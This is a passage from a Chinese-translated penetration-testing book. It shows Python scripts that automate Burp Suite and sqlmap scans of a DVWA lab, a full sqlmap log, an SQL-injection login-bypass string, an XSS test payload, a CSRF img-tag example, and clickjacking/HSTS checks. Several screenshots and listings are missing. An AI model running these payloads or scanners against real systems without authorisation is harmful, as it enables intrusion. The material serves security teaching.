data='{"application_logins":[{"password":"password","username":"admin"}],"scan_callback":{"url":"http://127.0.0.1:8001"},"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}'
request_url=urljoin(self.api_url,self.api_key)
request_url=str(request_url)+"/v0.1/scan"
resp=requests.post(request_url,data=data)
self.call_back_listener()
except Exception as ex:
print("EXception caught : " +str(ex))
def poll_details(self,task_id):
try:
while 1:
time.sleep(10)
request_url=urljoin(self.api_url,self.api_key)
request_url=str(request_url)+"/v0.1/scan/"+str(task_id)
resp=requests.get(request_url)
data_json=resp.json()
issue_events=data_json["issue_events"]
for issues in issue_events:
if issues["issue"]["severity"] != "info":
print("------------------------------------")
print("Severity : " + issues["issue"].get("severity",""))
print("Name : " + issues["issue"].get("name",""))
print("Path : " + issues["issue"].get("path",""))
print("Description : " + issues["issue"].get("description",""))
if issues["issue"].get("evidence",""):
print("URL : " + issues["issue"]["evidence"][0]["request_response"]["url"])
print("------------------------------------")
print("\n\n\n")
if data_json["scan_status"]=="succeeded":
break
except Exception as ex:
print(str(ex))
def call_back_listener(self):
try:
if 1 :
task_id=0
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8001))
s.listen(10)
conn, addr = s.accept()
if conn:
while True:
data = conn.recv(2048)
if not data:
break
try:
index=str(data).find("task_id")
task_id=str(data)[index:index+12]
task_id=task_id.replace('"',"")
splitted=task_id.split(":")
t_id=splitted[1]
t_id=t_id.lstrip().rstrip()
t_id=int(t_id)
if t_id:
task_id=t_id
break
except Exception as ex:
print("\n\n\nNot found" +str(ex))
if task_id:
print("Task id : " +str(task_id))
self.poll_details(task_id)
else:
print("No task id obtaimed, Exiting : " )
except Exception as ex:
print("\n\n\n@@@@Call back exception :" +str(ex))
obj=Burp_automate()
obj.start()
当我们执行脚本时,它将显示 Burp 扫描报告的所有问题,这些问题可能是“高”、“中”或“低”性质。
如下截图所示:
以下截图表示扫描的状态和发出的请求总数。脚本将持续运行,直到扫描完成,状态为成功:
SQL 注入
SQL 注入攻击是一种攻击,通过该攻击可以更改 SQL 查询的执行以满足攻击者的需求。Web 应用程序可能在后端与数据库交互,并且可能接受用户输入,这些输入形成参数或 SQL 查询的一部分,用于插入、删除、更新或检索数据库表中的数据。在这种情况下,开发人员必须非常小心,不要直接将用户提供的参数传递给后端数据库系统,因为这可能导致 SQL 注入。开发人员必须确保使用参数化查询。假设我们在应用程序上有一个登录页面,该页面从用户那里获取用户名和密码,并将此信息传递给后端 SQL 查询,如下所示:select * from users where email ='"+request.POST['email']+"' and password ='"+request.POST['password']".
应用程序中编写的逻辑将检查查询返回的行数。如果有,那么用户是合法的,并且将为用户分配有效的会话,否则将显示错误消息“无效凭据”。
假设用户将其电子邮件地址设置为admin@abc.com,密码设置为admin@123,在这种情况下,将在后端执行以下查询:select * from users where email ='admin@abc.com' and password ='admin@123'。
然而,如果用户将电子邮件输入为hacker@abc.com'或'1'='1,并且他们的密码为hacker'或'1'='1,那么将在后端执行以下查询:select * from users where email ='hacker@abc.com' or '1'='1' and password ='hacker' or '1'='1'。
因此,返回的数据集的第一条记录将被视为试图登录的用户,由于 SQL 注入而绕过了身份验证。
使用 Python 自动检测 SQL 注入
我们的重点是了解如何使用 Python 自动化检测 SQL 注入。每当我们谈论 SQL 注入时,我们想到的工具就是 SQLmap,这是一个非常好的工具,也是我个人在检测 Web 应用程序中的 SQL 注入时的首选。互联网上有许多关于如何使用 SQLmap 检测 SQL 注入的教程。在本节中,我们将看到如何使用 SQLmap 的服务器版本,该版本公开了一个 API,以自动化整个检测 SQL 注入漏洞的过程。我们将使用 Python 脚本来自动化检测过程。
让我们启动 SQLmap 服务器:
现在服务器在本地主机(端口8775)上运行,让我们看看如何使用 cURL 和 API 扫描应用程序(DVWA)进行 SQL 注入:
- 创建一个新任务如下:
- 为新任务设置
scan选项如下:
- 为新任务设置
list选项如下:
- 使用以下
set选项开始扫描:
- 检查创建的扫描的“状态”,以发现 SQL 注入,如下所示:
前面的屏幕截图验证了后端数据库是 MySQL,参数 ID 容易受到 SQL 注入攻击。
让我们借助 Python 脚本自动化整个过程,如下所示。将脚本命名为sql_automate.py:
import requests
import json
import time
import pprint
class SqliAutomate():
def __init__(self,url,other_params={}):
self.url=url
self.other=other_params
def start_polling(self,task_id):
try:
time.sleep(30)
poll_resp=requests.get("http://127.0.0.1:8775/scan/"+task_id+"/log")
pp = pprint.PrettyPrinter(indent=4)
#print(poll_resp.json())
pp.pprint(poll_resp.json())
except Exception as ex:
print("Exception caught : " +str(ex))
def start(self):
try:
task_resp=requests.get("http://127.0.0.1:8775/task/new")
data=task_resp.json()
if data.get("success","") ==True:
task_id=data.get("taskid")
print("Task id : "+str(task_id))
data_={'url':self.url}
data_.update(self.other)
opt_resp=requests.post("http://127.0.0.1:8775/option/"+task_id+"/set",json=data_)
if opt_resp.json().get("success")==True:
start_resp=requests.post("http://127.0.0.1:8775/scan/"+task_id+"/start",json=data_)
if start_resp.json().get("success")==True:
print("Scan Started successfully .Now polling\n")
self.start_polling(task_id)
except Exception as ex:
print("Exception : "+str(ex))
other={'cookie':'PHPSESSID=7brq7o2qf68hk94tan3f14atg4;security=low'}
obj=SqliAutomate('http://192.168.250.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit',other)
obj.start()
让我们执行脚本并获取 SQL 注入的输出,如下所示:
root@thp3:~/sqli_automate# python sqli_automate.py
Task id : d0ba910ae1236ff4
Scan Started successfully .Now polling
{ u'log': [ { u'level': u'INFO',
u'message': u'testing connection to the target URL',
u'time': u'13:13:15'},
{ u'level': u'INFO',
u'message': u'checking if the target is protected by some kind of WAF/IPS/IDS',
u'time': u'13:13:15'},
{ u'level': u'INFO',
u'message': u'testing if the target URL content is stable',
u'time': u'13:13:15'},
{ u'level': u'INFO',
u'message': u'target URL content is stable',
u'time': u'13:13:16'},
{ u'level': u'INFO',
u'message': u"testing if GET parameter 'id' is dynamic",
u'time': u'13:13:16'},
{ u'level': u'WARNING',
u'message': u"GET parameter 'id' does not appear to be dynamic",
u'time': u'13:13:16'},
{ u'level': u'INFO',
u'message': u"heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')",
u'time': u'13:13:16'},
{ u'level': u'INFO',
u'message': u"heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks",
u'time': u'13:13:16'},
{ u'level': u'INFO',
u'message': u"testing for SQL injection on GET parameter 'id'",
u'time': u'13:13:16'},
{ u'level': u'INFO',
u'message': u"testing 'AND boolean-based blind - WHERE or HAVING clause'",
u'time': u'13:13:16'},
{ u'level': u'WARNING',
u'message': u'reflective value(s) found and filtering out',
u'time': u'13:13:16'},
{ u'level': u'INFO',
u'message': u"testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'",
u'time': u'13:13:16'},
{ u'level': u'INFO',
u'message': u"testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'",
u'time': u'13:13:17'},
{ u'level': u'INFO',
u'message': u"testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u'GET parameter \'id\' appears to be \'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)\' injectable (with --not-string="Me")',
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable ",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"testing 'MySQL inline queries'",
u'time': u'13:13:18'},
{ u'level': u'INFO',
u'message': u"'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test",
u'time': u'13:13:28'},
{ u'level': u'INFO',
u'message': u'target URL appears to have 2 columns in query',
u'time': u'13:13:29'},
{ u'level': u'INFO',
u'message': u"GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable",
u'time': u'13:13:29'},
{ u'level': u'WARNING',
u'message': u"in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval",
u'time': u'13:13:29'},
{ u'level': u'INFO',
u'message': u'the back-end DBMS is MySQL',
u'time': u'13:13:29'}],
u'success': True}
获取的输出可以被解析并打印在屏幕上。
总结
在本章中,我们讨论了可以使用 Python 自动化 Web 应用程序扫描和评估的方法。我们看到了如何使用 Burp Suite API 来扫描底层应用程序,并研究了一系列评估结果。我们还讨论了 SQL 注入以及 Python 如何与我们喜爱的工具 SQLmap 一起使用。最后,我们看了一下如何使用 Python 调用 SQLmap 来自动化整个 SQL 注入检测过程。在下一章中,我们将了解使用 Python 自动化检测其他 Web 应用程序漏洞,如 XSS、CSRF、点击劫持和 SSL 剥离。
问题
-
还有哪些使用 Python 代码与 Burp 的方法?
-
还有哪些 SQL 注入工具可以用 Python 自动化?
-
使用自动化的 Web 应用程序扫描方法的优缺点是什么?
进一步阅读
-
Burp 和 SQL 插件:
github.com/codewatchorg/sqlipy -
使用 SQLmap 扩展 Burp 以检测 SQL 注入:
www.codewatch.org/blog/?p=402 -
Burp 扩展:
portswigger.net/burp/extender
第九章:自动 Web 应用程序扫描-第 2 部分
继续我们在上一章的讨论,我们现在将学习如何使用 Python 自动检测跨站脚本(XSS)、跨站请求伪造(CSRF)、点击劫持和安全套接字层(SSL)剥离。本章讨论的所有技术将帮助我们加快 Web 应用程序评估过程。我建议您不要局限于本章讨论的方法。讨论的方法可以作为基线,相同的想法可以扩展和改进,以得到更好的解决方案或开发工具,以帮助渗透测试社区。本章将讨论以下主题:
-
跨站脚本
-
跨站请求伪造
-
点击劫持
-
SSL 剥离(缺少 HSTS 标头)
XSS
XSS攻击属于 Web 应用程序攻击的注入类别。它们主要是由于未对来自最终用户的 Web 应用程序传递的用户输入进行消毒而引起的。这不会导致服务器被攻破,但对用户数据的影响非常严重。攻击发生在攻击者能够将某种 Java 脚本或 HTML 内容注入到将提供给用户的网页中时。这种恶意内容可能会尝试从访问网站的用户那里窃取敏感信息。在接下来的章节中,我们将看看不同类型的 XSS 攻击。
存储或 Type 1 XSS 攻击
存储型 XSS是攻击,其中来自攻击者的恶意输入被持久化并存储在后端数据库或存储库中。每当检索并呈现该内容以在网页上显示时,浏览器完全不知道它,它要么执行来自数据库的恶意 JavaScript,要么呈现恶意 HTML 标记,而不是将其显示为文本。存储型 XSS 将永久保留在数据库中,并影响访问受影响网页的所有用户。
反射型或 Type 2 XSS 攻击
反射型 XSS攻击是 XSS 攻击向量的第二种类型,其中恶意的 XSS 有效负载不会存储在数据库表中以进行持久化,但仍然被注入到返回给用户的网页的某些参数中。浏览器对此更改毫不知情,只是简单地呈现注入的恶意 HTML 或执行注入的恶意 JavaScript 代码,再次导致用户数据被泄露。
基于 DOM 或 Type 0 XSS 攻击
基于文档对象模型的 XSS 是 XSS 攻击的第三类。在这里,XSS 有效负载不会发送到服务器,而是由于实现缺陷和使用客户端 JavaScript 改变网页状态/DOM,攻击者放置有效负载,该有效负载将由负责操纵网页状态的 JavaScript 拾取。
我们的重点是了解如何使用 Python 自动检测 XSS。
使用 Python 自动检测 XSS
在这里,我们将看到一种方法,我们将使用 Python、Beautifulsoup、Selenium 和 Phantomjs 自动检测 Web 应用程序中的 XSS。
通过运行以下命令来安装依赖项:
pip install BeautifulSoup
pip install bs4
pip install selenium
sudo apt-get install libfontconfig
apt-get install npm
npm install ghostdriver
wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
tar xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/
让我们了解每个的目标:
-
BeautifulSoup是一个出色的 Python 库,用于网页抓取和解析网页。
-
Selenium是用于自动测试 Web 应用程序的自动化框架。其功能在安全领域尤为重要,用于浏览器模拟和自动遍历 Web 应用程序的工作流程。
-
Phantomjs是一种用于无头浏览的实用程序。它执行浏览器的所有活动,而不实际加载它,而是在后台运行,使其轻巧且非常有用。
安装 Phantomjs 后,我们需要在控制台上执行以下命令:unset QT_QPA_PLATFORM。这是用来处理 Ubuntu 16.04 上 Phantomjs 版本抛出的错误的,错误如下:Message: Service phantomjs unexpectedly exited. Status code was: -6。
应该注意,这个练习的目的是模拟正常用户行为,并找到 Web 应用程序中的注入点。我们所说的注入点是指用户可以提供输入的所有输入字段。为了找到注入点,我们将使用BeautifulSoup库。从网页中,我们提取所有类型为文本、密码或文本区域的字段。一旦找到注入点,我们将使用 selenium 在注入点传递我们的有效负载值。一旦有效负载设置在注入点,我们将再次使用BeautifulSoup来定位表单的提交按钮。然后,我们将传递提交按钮的 ID 给 selenium,点击它,以提交表单。
我们将使用的有效负载是<a href=#> Malicious Link XSS </a>。如果这个被创建了,我们可以推断网站存在 XSS 漏洞。还必须注意的是,在提交有效负载后,我们还捕获了网页的截图,以查看链接是否真的被创建,这将作为概念的证明。
应该注意,我们将在本地 IPhttp://192.168.250.1/dvwa上运行的 DVWA 应用程序上演示我们脚本的概念验证。正如我们所知,该应用程序需要用户登录。我们将首先让我们的脚本自动登录应用程序,然后设置适当的 cookie 和会话。然后,在登录后,我们将导航到存在 XSS 的页面,并执行上述操作。我们还将更新 cookie 值,并设置 security=low,以便在 DVWA 应用程序中可能发生 XSS。应该注意,相同的概念可以扩展并应用于任何 Web 应用程序,因为我们使用了一种非常通用的方法来识别注入点并在其中提交有效负载。根据需要修改脚本并进一步扩展。我将致力于在这个脚本的基础上开发一个功能齐全的 XSS 检测工具,它将位于我的 GitHub 存储库中。请随时为其做出贡献。
在下一节中,我们将看一下极端自动化。
脚本在执行
让我们将我们的脚本命名为Xss_automate.py,并添加以下截图中显示的内容:
现在可以运行脚本如下:
让我们去检查当前路径,看看截图是否已经创建:
正如我们之前所指出的,已经创建并捕获了三个截图。让我们打开每一个来验证概念的证明。成功使用我们的脚本登录后,下面的截图就是我们看到的:
下面的截图显示了反射 XSS 漏洞的利用,创建了链接。请注意,security 的值被设置为 low:
下面的截图显示了存储的 XSS 漏洞:
需要注意的是,我们只将先前的方法应用于检测两个页面中的 XSS,只是为了减少执行时间并展示概念的威力。然而,这可以扩展到应用程序的所有网页。我们需要删除检查从<a>标签中获取的 URL 是否存在于列表中的条件:self.target_links=["vulnerabilities/xss_r/","vulnerabilities/xss_s/"]。尝试这种方法,删除这个条件,并根据需要修改脚本,看看它覆盖了什么。
CSRF
CSRF是一种攻击,攻击者利用有效的用户会话以允许在当前登录用户的名义下执行某些操作。例如,假设管理员用户已登录应用程序,并在浏览器中设置了有效的会话 cookie。管理员可以通过单击删除所有按钮来删除网站上的所有用户,内部调用 HTTP 请求http://www.mysite.com/delete?users=all。Web 浏览器的一个属性是在用户登录到应用程序后,为每个后续请求向服务器发送会话参数/cookie。攻击者可以利用这一点,通过制作一个包含 HTML 图像的伪造页面,例如<img src"http://www.mysite.com/delete?users=all" style="display:hidden">。攻击者可以将这个伪造页面的链接发送给当前已登录到他的网站mysite.com的管理员。如果管理员用户加载了这个网页,将会以他们的名义触发删除所有用户的 HTTP 请求,并发送有效的会话 cookie,导致服务器删除所有用户。
使用 Python 自动检测 CSRF
在这里,我们将介绍一种使用 Python、Beautifulsoup、Selenium 和 Phantomjs 自动检测 Web 应用程序中 CSRF 的方法。然而,在自动化检测之前,让我们讨论一下我们将采取的方法。我们知道可以通过实现反 CSRF 令牌来减轻 CSRF 攻击。
从服务器提供的任何可能修改服务器状态的表单都应该包含一个包含随机加密值的隐藏字段,称为 CSRF 令牌。大多数 CSRF 令牌背后的原则是,这个表单和一个 cookie 也必须设置为一个与在隐藏字段中提供的令牌的相同值的加密值。当表单被提交回服务器时,会提取 cookie 的秘密值并与在隐藏字段中提交回服务器的秘密值进行比较。如果两个秘密匹配,请求被认为是真实的,并进一步处理。
我们将在我们的检测机制中使用相同的方法。对于任何要提交回服务器的表单,我们将提取所有输入字段并将它们与各种技术中常用的 CSRF 隐藏字段参数名称列表进行比较,如 Java、PHP、Python/Django、ASP.NET 和 Ruby。此外,我们还将查看在提交表单之前设置的 cookie 的名称,并将这些 cookie 的名称与所有知名技术堆栈中常用的 CSRF 保护名称进行比较。
需要再次注意的是,脚本将模拟正常的人类行为。它将登录应用程序并保持有效会话,然后尝试查找 CSRF 漏洞。这里显示了最常用的 CSRF 隐藏字段参数以及技术堆栈:
-
ASP.NET [Hiddenfiled : __RequestVerificationToken, Cookie : RequestVerificationToken] -
PHP [Hiddenfiled : token, Cookie : token], [Hiddenfileld :_csrfToken, Cookie : csrfToken] -
PHP [Hiddenfiled : _csrftoken, Cookie : csrftoken]
上述列表可能更详尽,但对我们的目的来说已经足够了。我们将使用 DVWA 应用程序来创建我们的概念验证脚本。
脚本在执行
让我们继续创建一个名为Csrf_detection.py的脚本,其中包含以下屏幕截图中显示的内容:
当我们执行脚本时,我们得到以下输出:
创建的屏幕截图显示在这里:
DVWA 应用程序的捕获屏幕截图显示在这里:
应该注意的是,我们只在一个页面上应用了先前的方法来检测 CSRF,只是为了减少执行时间并展示概念的威力。然而,这可以扩展到应用程序的所有网页。我们需要删除检查从<a>标签中获取的 URL 是否在列表中的条件:self.target_links=["vulnerabilities/csrf"]。尝试相同的方法,删除此条件,并根据需要修改脚本以查看它覆盖了什么。
点击劫持
点击劫持是一种攻击,攻击者在合法网站或网页上叠加自制的攻击页面。考虑与 CSRF 攻击案例中提到的相同情景。可以使能够删除所有用户的网页以透明的方式呈现,使用户看不到页面上的按钮。因此,用户看到的是一个透明层下的合法网页的攻击页面。例如,攻击者可以制作一个显示 iPhone 优惠的网页,可能有一个按钮写着立即赢取 iPhone,放在透明按钮删除所有用户下面。因此,当受害者,管理员用户,认为他们点击的是赢取 iPhone 的按钮时,实际上他们点击的是透明按钮,从数据库中删除所有用户。
网站防止点击劫持的一种方法是实施一个名为 X-Frame-Options 的特殊头部,该头部在以下部分中定义。
X-Frame-Options
网站可以通过特殊的 HTTP 响应头部X-Frame-Options声明不应在框架或 iframe 中呈现。客户端浏览器在接收到此头部时,检查设置在框架限制内的值,并根据设置的值采取适当的操作。各种值显示在这里:
-
DENY:此值将阻止网页加载到框架或 iFrame 中。这是建议使用的值。
-
SAMEORIGIN:如果尝试将页面加载到 iframe 中的页面来自与被加载页面相同的源,则此值将允许页面仅在框架或 iframe 中加载。
-
ALLOW-FROM:此值定义了允许将页面加载到框架或 iframe 中的位置。
使用 Python 自动检测点击劫持
在这里,我们将看到一种我们将用来查看网站是否容易受到点击劫持的方法。我们将使用一个简单的 Python 脚本,检查应用程序渲染的响应头中是否存在 X-Frame-Options。我们将调用脚本CJ_detector.py并添加以下内容:
我们将运行脚本,看看 DVWA 应用程序是否受到点击劫持的保护:
SSL 剥离(缺少 HSTS 头部)
SSL 剥离,或SSL 降级,是一种将 HTTPS 连接降级为 HTTP 的攻击向量。这种攻击是由位于受害者和 Web 服务器之间的攻击者执行的,并充当透明代理。它进一步与受害者保持基于 HTTP 的下行连接,并与服务器保持适当的基于 HTTPS 的上行连接。
因此,攻击是通过 ARP 欺骗、SSL 剥离和在攻击者和受害者之间设置透明代理的组合来进行的。假设一个受害者想要访问一个名为abc.com的网站。默认情况下,abc.com由 HTTPS 服务器提供,如https://www.abc.com,但当用户在浏览器中输入 URLabc.com时,浏览器将请求发送为http://www.abc.com到服务器,服务器响应 302 响应并将用户重定向到https://www.abc.com。重要的是要注意,用户浏览器到服务器的第一个请求是通过纯 HTTP 进行的,因为用户输入了abc.com。这就是攻击者使用 SSL 剥离所利用的。
考虑一个放置在同一网络上并且正在 ARP 欺骗受害者和路由器的攻击者。在这种情况下,受害者对abc.com的请求首先到达攻击者。攻击者设置了一个透明代理,可以将请求转发到实际服务器。服务器响应 302 响应。攻击者代理发送一个请求到https://abc.com并接收响应,这只是一个网页。攻击者代理还有一个额外的功能,可以解析整个响应,用纯 HTTP 替换所有 HTTPS 链接,然后将一个纯页面呈现给受害者。在下一个请求中,受害者发布他们的凭据,却不知道流量是通过攻击者传递的。
为了防止这种攻击,网站必须在发送给客户端的响应中包含一个特殊的头。这个头将保存在浏览器首选项中,因此每当连接到网站时,第一个请求本身将通过 HTTPS 发送;因此,使得攻击者无法窃听流量。
HTTP 严格传输安全(HSTS)是一种安全机制,浏览器会记住这个主机是一个 HSTS 主机,并将详细信息保存在浏览器首选项中。因此,每当再次访问该站点时,即使用户在浏览器中输入abc.com,在向服务器释放请求之前,浏览器也会在内部将请求转换为 HTTPS,因为它检查其 HSTS 列表并发现目标主机或服务器投诉。如果第一个请求是 HTTPS,攻击者就没有机会降级请求。
使用 Python 自动检测缺失的 HSTS
在这里,我们将看到一种方法,我们将使用它来确定网站是否容易受到点击劫持的攻击。我们将使用一个简单的 Python 脚本来检查应用程序呈现的响应头中是否存在 Strict-Transport-Security。我们将命名脚本为HSTS_detector.py,并将以下内容放入其中:
让我们运行脚本,看看应用程序 DVWA 是否受到了点击劫持的保护:
摘要
在本章中,我们讨论了我们可以使用的方法来使用 Python 自动化我们的 Web 应用程序扫描和评估。我们看到了如何使用 Python 自动化检测 Web 应用程序的漏洞,如 XSS、CSRF、点击劫持和 SSL 剥离。所有这些在实际评估中都非常有用,并将帮助您作为渗透测试人员对使用 Python 自动化事物有一个相当好的掌握。
在下一章中,我们将探讨与逆向工程、模糊测试和缓冲区溢出相关的各种概念。
问题
-
还有哪些应用程序安全用例可以使用 Python 自动化处理?
-
我们如何使用 Python 集成网络扫描和 Web 应用程序扫描?
进一步阅读
-
学习 Python 网络渗透测试:
www.lynda.com/Python-tutorials/Learning-Python-Web-Penetration-Testing/521198-2.html -
渗透测试人员的 Python:
www.pentesteracademy.com/course?id=1 -
使用 Python 和 Kali Linux 进行渗透测试自动化:
niccs.us-cert.gov/training/search/pluralsight/penetration-testing-automation-using-python-and-kali-linux
第十章:构建自定义爬虫
当我们谈论 Web 应用程序扫描时,我们经常会遇到内置在我们用于 Web 应用程序扫描的自动扫描工具中的爬虫。诸如 Burp Suite、Acunetix、Web Inspect 等工具都有精彩的爬虫,可以浏览 Web 应用程序并针对爬取的 URL 尝试各种攻击向量。在本章中,我们将了解爬虫是如何工作的,以及在幕后发生了什么。本章的目标是使用户了解爬虫如何收集所有信息并形成各种攻击的攻击面。相同的知识可以稍后用于开发可能自动化 Web 应用程序扫描的自定义工具。在本章中,我们将创建一个自定义 Web 爬虫,它将浏览网站并给出一个包含以下内容的列表:
-
网页
-
HTML 表单
-
每个表单中的所有输入字段
我们将看到如何以两种模式爬取 Web 应用程序:
-
无身份验证
-
有身份验证
我们将在 Django(Python 的 Web 应用程序框架)中开发一个小型 GUI,使用户能够在测试应用程序上进行爬取。必须注意,本章的主要重点是爬虫的工作原理,因此我们将详细讨论爬虫代码。我们不会专注于 Django Web 应用程序的工作原理。为此,本章末尾将提供参考链接。我将在我的 GitHub 存储库中分享整个代码库,供读者下载和执行,以便更好地理解该应用程序。
设置和安装
要使用的操作系统是 Ubuntu 16.04。该代码在此版本上经过测试,但读者可以自由使用任何其他版本。
通过运行以下命令安装本章所需的先决条件:
pip install django==1.6 pip install beautifulsoup4 pip install requests pip install exrex pip install html5lib pip install psutil sudo apt-get install sqlitebrowser
应注意,该代码经过 Python 2.7 的尝试和测试。建议读者在相同版本的 Python 上尝试该代码,但它也应该适用于 Python 3。关于打印语句可能会有一些语法上的变化。
开始
典型的 Django 项目遵循基于 MVC 的架构。用户请求首先命中Urls.py文件中配置的 URL,然后转发到适当的视图。视图充当后端核心逻辑和呈现给用户的模板/HTML 之间的中间件。views.py有各种方法,每个方法对应于Urls.py文件中的 URL 映射器。在接收请求时,views类或方法中编写的逻辑从models.py和其他核心业务模块中准备数据。一旦所有数据准备好,它就会通过模板呈现给用户。因此,模板形成了 Web 项目的 UI 层。
以下图表代表了 Django 请求-响应循环:
爬虫代码
如前所述,我们有一个用户界面,将收集要爬取的 Web 应用程序的用户参数。因此,请求被转发到views.py文件,然后我们将调用爬虫驱动文件run_crawler.py,然后再调用crawler.py。new_scan视图方法获取所有用户参数,将它们保存在数据库中,并为爬取项目分配一个新的项目 ID。然后将项目 ID 传递给爬虫驱动程序,以便引用并使用 ID 提取相关项目参数,然后将它们传递给crawler.py开始扫描。
Urls.py 和 Views.py 代码片段
以下是Urls.py文件的配置,其中包含 HTTP URL 和映射到该 URL 的views.py方法之间的映射关系。该文件的路径是Chapter8/Xtreme_InjectCrawler/XtremeWebAPP/Urls.py:
前面突出显示的行表示新爬行项目的 URL 与满足请求的views方法之间的映射。因此,我们将在views.py文件中有一个名为new_scan的方法。文件的路径是Chapter8/Xtreme_InjectCrawler/XtremeWebAPP/xtreme_server/views.py。方法定义如下:
代码解释
new_scan方法将接收用户的HTTP GET和POST请求。GET请求将被解析为提供用户输入项目参数的页面,POST请求将把所有参数发布到先前的代码,然后可以进一步处理。正如代码的**(1)部分所突出显示的那样,项目参数正在从用户请求中检索,并放置在 Python 程序变量中。代码的(2)**部分也是如此。它还从用户提供的设置中获取一些其他参数,并将它们放在一个名为 settings 的 Python 字典中。最后,当所有数据收集完毕,它将所有细节保存在名为Project的后端数据库表中。正如在第 261 行所示,代码初始化了一个名为Project()的类,然后从第 262 行到 279 行,它将从用户那里获得的参数分配给Project()类的实例变量。最后,在第 280 行,调用了project.save()代码。这将把所有实例变量作为单行放入数据库表中。
基本上,Django 遵循开发的 ORM 模型。ORM代表对象关系映射。Django 项目的模型层是一组类,当使用python manage.py syncdb命令编译项目时,这些类实际上会转换为数据库表。我们实际上不在 Django 中编写原始的 SQL 查询来将数据推送到数据库表或提取它们。Django 为我们提供了一个模型包装器,我们可以将其作为类访问,并调用各种方法,如save()、delete()、update()、filter()和get(),以执行对数据库表的创建、检索、更新和删除(CRUD)操作。对于当前情况,让我们看一下包含Project模型类的models.py文件:
因此,当代码被编译或数据库同步发生时,使用python manage.py syncdb命令,一个名为<project_name>_Project的表将在工作数据库中创建。表的架构将根据类中实例变量的定义进行复制。因此,对于项目表的前面情况,将创建 18 个列。表将具有project_name的主键,Django 应用程序中其数据类型被定义为CharField,但在后端将被转换为类似varchar(50)的东西。在这种情况下,后端数据库是 SQLite 数据库,在settings.py文件中定义如下:
代码片段的**(3)和(4)部分很有趣,因为这是工作流执行实际开始的地方。可以在(3)**部分看到,我们正在检查操作系统环境。如果操作系统是 Windows,那么我们将调用crawler_driver代码run_crawler.py作为子进程。
如果底层环境是基于 Linux 的,那么我们将使用与 Linux 环境相关的命令来调用相同的驱动文件。正如我们之前可能观察到的那样,我们使用子进程调用来将此代码作为单独的进程调用。拥有这种类型的架构背后的原因是为了能够使用异步处理。用户发送的 HTTP 请求应该能够快速得到响应,指示爬取已经开始。我们不能让相同的请求一直保持,直到整个爬取操作完成。为了适应这一点,我们生成一个独立的进程并将爬取任务卸载到该进程中,HTTP 请求立即返回一个指示爬取已经开始的 HTTP 响应。我们进一步将进程 ID 和后端数据库中的项目名称/ID 进行映射,以持续监视扫描的状态。我们通过将控制权重定向到详细 URL 来将控制权返回给用户,详细 URL 反过来返回模板details.html。
驱动代码 - run_crawler.py
以下代码是run_crawler.py文件的代码:
还记得我们如何从views.py代码中调用这个文件吗?我们通过传递一个命令行参数来调用它,这个参数是项目的名称。如第**(1)部分所示,run_crawler.py的前面代码将这个命令行参数加载到一个project_name程序变量中。在第(2)**部分,代码尝试从后端数据库表project中读取所有参数,使用project.objects.get(project_name=project_name)命令。正如之前提到的,Django 遵循 ORM 模型,我们不需要编写原始的 SQL 查询来从数据库表中获取数据。前面的代码片段将在内部转换为select * from project where project_name=project_name。因此,所有项目参数都被提取并传递给本地程序变量。
最后,在第**(3)部分,我们初始化crawler类并将所有项目参数传递给它。一旦初始化,我们调用标记为第(4)**部分的c.start()方法。这是爬取开始的地方。在接下来的部分,我们将看到我们的爬虫类的工作方式。
爬虫代码 - crawler.py
以下代码片段代表了crawler类的构造函数。它初始化了所有相关的实例变量。logger是一个自定义类,用于记录调试消息,因此如果在爬虫执行过程中发生任何错误,它将作为一个子进程被生成并在后台运行,可以进行调试:
现在让我们来看一下crawler的start()方法,从这里开始爬取实际上开始:
